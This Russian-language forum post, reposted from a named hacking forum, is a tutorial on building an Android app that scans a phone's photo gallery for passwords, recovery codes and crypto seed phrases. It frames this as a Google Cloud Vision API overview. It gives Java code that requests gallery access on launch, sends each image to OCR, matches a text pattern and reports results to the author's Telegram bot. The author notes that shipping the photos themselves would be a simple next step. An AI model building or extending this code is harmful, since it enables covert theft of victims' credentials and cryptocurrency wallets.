Получаем пароли, коды восстановления, сид-фразы и т.д. из галерии на Android устройстве

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Автор zebra0_0
Источник https://xss.is


Всем привет!

В этой статье я хочу рассказать о мощном инструменте — Google Cloud Vision API, который позволяет работать с текстом и изображениями на совершенно новом уровне. Этот API открывает огромные возможности для создания программ, способных "видеть" и понимать содержимое изображений. Давайте разберемся, что это за инструмент, как он работает и как его можно использовать в реальных проектах, например, для сканирования галереи телефона на наличие фотографий с определенными паттернами.

Что такое Google Cloud Vision API?​

Google Cloud Vision API — это облачный сервис от Google Cloud Platform, который использует машинное обучение для анализа изображений. Он позволяет интегрировать в приложения функции компьютерного зрения, такие как:
  • Распознавание текста (OCR)
  • Обнаружение объектов
  • Классификация изображений
  • Обнаружение лиц
  • Безопасный поиск
Этот инструмент особенно полезен для задач, где требуется автоматическая обработка изображений, например, для поиска паролей, сид-фраз, ключевых слов или других текстовых данных в галереях устройств.

Основные возможности Google Cloud Vision API​

  1. Распознавание текста (OCR)
    API может извлекать текст из изображений, даже если он написан от руки, находится под углом или частично скрыт. Это полезно для поиска записанных паролей, сид-фраз или ключевых слов.
  2. Обнаружение объектов
    API может идентифицировать объекты на изображении, такие как лица, логотипы брендов, достопримечательности (например, Эйфелева башня), а также животных и растения.
  3. Классификация изображений
    API автоматически классифицирует изображения по категориям, например: "Пейзаж", "Еда", "Транспорт", "Животные".
  4. Обнаружение лиц
    API может определять наличие лиц на изображении, эмоции (радость, грусть, злость), позу (например, наклон головы), а также возраст и пол.
  5. Безопасный поиск
    API может обнаруживать неприемлемый контент, такой как насилие, наркотики или откровенные сцены.

Преимущества Google Cloud Vision API​

  • Высокая точность: Благодаря передовым алгоритмам машинного обучения, API обеспечивает высокую точность в распознавании текста, объектов и лиц.
  • Масштабируемость: API работает в облаке, что позволяет обрабатывать большие объемы данных без необходимости установки дополнительного оборудования.
  • Простота интеграции: API предоставляет простой RESTful интерфейс, который легко интегрировать в любые приложения.
  • Поддержка множества языков: API поддерживает распознавание текста на более чем 50 языках, включая русский, английский, китайский и арабский.
  • Уменьшение веса APK: Поскольку API работает в облаке, вам не нужно включать тяжелые модели машинного обучения в ваше приложение, что значительно уменьшает размер APK-файла.

Ограничения Google Cloud Vision API​

  • Зависимость от интернета: Поскольку API работает в облаке, для его использования требуется стабильное интернет-соединение. Это может быть проблемой в условиях слабого интернета.
  • Стоимость: Использование API может быть платным, особенно при обработке большого количества изображений, что может быть ограничением для небольших проектов.
  • Ограничения на размер изображений: API имеет ограничения на размер изображений, которые можно обрабатывать за один запрос.

Как работает Google Cloud Vision API?​

API принимает изображение в качестве входных данных и возвращает JSON-ответ с результатами анализа. Для использования API необходимо:
  1. Создать проект в Google Cloud Console.
  2. Включить Cloud Vision API для вашего проекта.
  3. Сгенерировать API-ключ для аутентификации.
  4. Отправлять HTTP-запросы к API с изображением и получать результаты.

Пример использования: сканирование галереи телефона​

Представьте, что вы хотите создать приложение, которое сканирует галерею телефона и ищет фотографии с определенным текстом. Например, вы хотите найти все изображения, на которых есть слово "пароль" или "recover". Вот как это можно сделать с помощью Google Cloud Vision API:
  1. Сканирование галереи: Приложение получает доступ к галерее устройства и выбирает все изображения.
  2. Распознавание текста: Каждое изображение отправляется в Google Cloud Vision API для распознавания текста.
  3. Поиск паттернов: Приложение проверяет, содержит ли распознанный текст заданные ключевые слова.

Пример Android-Приложения на Java

Теперь я покажу простой пример того как это далжо выглядеть и работать.

Как оно будет работать:
  • После установки приложение автоматически запрашивает доступ к галерее.
  • Если доступ предоставлен, начинается сканирование галереи.
  • Результат по количеству фото с подходяшимся патернном отправляется в Telegram-бота.
Можно ещё было-бы сделать чтоб фото упаковывались и отправлялись в тг но я решил что это было-бы лишним так как статья не про это (Мне было просто лень).

Для начала добавим нужные библиотеки в зависимости проекта в файле build.gradle:

Код: Скопировать в буфер обмена
Код:
dependencies {
    implementation 'com.google.cloud:google-cloud-vision:2.0.0'
    implementation 'com.squareup.okhttp3:okhttp:4.9.3'
    implementation 'androidx.appcompat:appcompat:1.6.1'
}

Зависимости:
  • google-cloud-vision — библиотека для работы с Google Cloud Vision API.
  • okhttp — библиотека для отправки HTTP-запросов (используется для взаимодействия с Telegram Bot API).
  • appcompat — библиотека для поддержки современных функций Android.


И конечноже разрешения который нам потребуются для работы софта:

XML: Скопировать в буфер обмена
Код:
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" />
<uses-permission android:name="android.permission.INTERNET" />

Разрешения:
  • READ_EXTERNAL_STORAGE — необходимо для доступа к галерее устройства.
  • INTERNET — требуется для отправки запросов к Google Cloud Vision API и Telegram Bot API.

Проверка и запрос разрешений:

Java: Скопировать в буфер обмена
Код:
@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);

    if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
        ActivityCompat.requestPermissions(this, new String[]{Manifest.permission.READ_EXTERNAL_STORAGE}, REQUEST_CODE_PERMISSION);
    } else {
        scanGallery();
    }
}

@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
    super.onRequestPermissionsResult(requestCode, permissions, grantResults);
    if (requestCode == REQUEST_CODE_PERMISSION && grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
        scanGallery();
    } else {
        Toast.makeText(this, "Разрешение отклонено", Toast.LENGTH_SHORT).show();
    }
}

Проверка разрешений:
  • При запуске приложения проверяется, есть ли у него доступ к галерее.
  • Если разрешение не предоставлено, запрашивается доступ через ActivityCompat.requestPermissions.
Обработка результата:
  • Если пользователь предоставляет разрешение, вызывается метод scanGallery() для сканирования галереи.
  • Если разрешение отклонено, выводится сообщение об ошибке.

Сканирование галереи:

Java: Скопировать в буфер обмена
Код:
private void scanGallery() {
    new AsyncTask<Void, Void, Integer>() {
        @Override
        protected Integer doInBackground(Void... voids) {
            int matchingPhotosCount = 0;
            Cursor cursor = getContentResolver().query(MediaStore.Images.Media.EXTERNAL_CONTENT_URI, null, null, null, null);

            if (cursor != null) {
                while (cursor.moveToNext()) {
                    String imagePath = cursor.getString(cursor.getColumnIndex(MediaStore.Images.Media.DATA));
                    Uri imageUri = Uri.parse(imagePath);

                    try {
                        String text = detectText(imageUri); // Распознавание текста на изображении
                        if (text.contains("Патерн который надо найти")) { // Проверка на наличие текста
                            matchingPhotosCount++;
                        }
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                cursor.close();
            }

            return matchingPhotosCount;
        }

        @Override
        protected void onPostExecute(Integer matchingPhotosCount) {
            sendMessageToTelegram("Найдено фотографий с подходящим патернном: " + matchingPhotosCount);
        }
    }.execute();
}

Сканирование галереи:
  • Используется Cursor для получения списка всех изображений в галерее.
  • Для каждого изображения вызывается метод detectText, который распознает текст с помощью Google Cloud Vision API.
  • Если текст содержит заданный шаблон (Патерн который надо найти), увеличивается счетчик matchingPhotosCount.
Результат:
  • После завершения сканирования результат отправляется в Telegram через метод sendMessageToTelegram.

Распознавание текста с помощью Google Cloud Vision API:

Java: Скопировать в буфер обмена
Код:
private String detectText(Uri uri) throws IOException {
    InputStream inputStream = getContentResolver().openInputStream(uri);
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024];
    int len;
    while ((len = inputStream.read(buffer)) != -1) {
        byteArrayOutputStream.write(buffer, 0, len);
    }
    byte[] imageBytes = byteArrayOutputStream.toByteArray();

    HttpTransport httpTransport = AndroidHttp.newCompatibleTransport();
    JsonFactory jsonFactory = GsonFactory.getDefaultInstance();

    Vision.Builder builder = new Vision.Builder(httpTransport, jsonFactory, null)
            .setVisionRequestInitializer(new VisionRequestInitializer(CLOUD_VISION_API_KEY));
    Vision vision = builder.build();

    Image inputImage = new Image();
    inputImage.encodeContent(imageBytes);

    Feature desiredFeature = new Feature();
    desiredFeature.setType("TEXT_DETECTION");

    AnnotateImageRequest request = new AnnotateImageRequest();
    request.setImage(inputImage);
    request.setFeatures(List.of(desiredFeature));

    BatchAnnotateImagesRequest batchRequest = new BatchAnnotateImagesRequest();
    batchRequest.setRequests(List.of(request));

    BatchAnnotateImagesResponse batchResponse = vision.images().annotate(batchRequest).execute();
    List<TextAnnotation> texts = batchResponse.getResponses().get(0).getTextAnnotations();

    return texts != null && !texts.isEmpty() ? texts.get(0).getDescription() : "";
}

Подготовка изображения:
  • Изображение считывается в виде байтового массива (imageBytes).
Настройка Google Cloud Vision API:
  • Создается объект Vision, который используется для отправки запросов к API.
  • Указывается тип задачи (TEXT_DETECTION) для распознавания текста.
Отправка запроса:
  • Изображение и параметры запроса отправляются в Google Cloud Vision API.
  • API возвращает распознанный текст, который извлекается из ответа.

Отправка результата в Telegram:

Java: Скопировать в буфер обмена
Код:
private void sendMessageToTelegram(String message) {
    new AsyncTask<Void, Void, Void>() {
        @Override
        protected Void doInBackground(Void... voids) {
            try {
                OkHttpClient client = new OkHttpClient();
                String url = "https://api.telegram.org/bot" + TELEGRAM_BOT_TOKEN + "/sendMessage?chat_id=" + CHAT_ID + "&text=" + message;
                Request request = new Request.Builder().url(url).build();
                Response response = client.newCall(request).execute();
                response.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
            return null;
        }
    }.execute();
}

Формирование URL:
  • Используется токен бота (TELEGRAM_BOT_TOKEN) и chat_id для формирования URL запроса.
Отправка сообщения:
  • С помощью библиотеки OkHttp отправляется HTTP-запрос к Telegram Bot API.
  • Сообщение передается в параметре text.

Заключение

Google Cloud Vision API предоставляет мощные инструменты для анализа изображений, которые можно легко интегрировать в Android-приложения в совершено различных целях.
На этом я всё, надеюсь был полезен
 
Сверху Снизу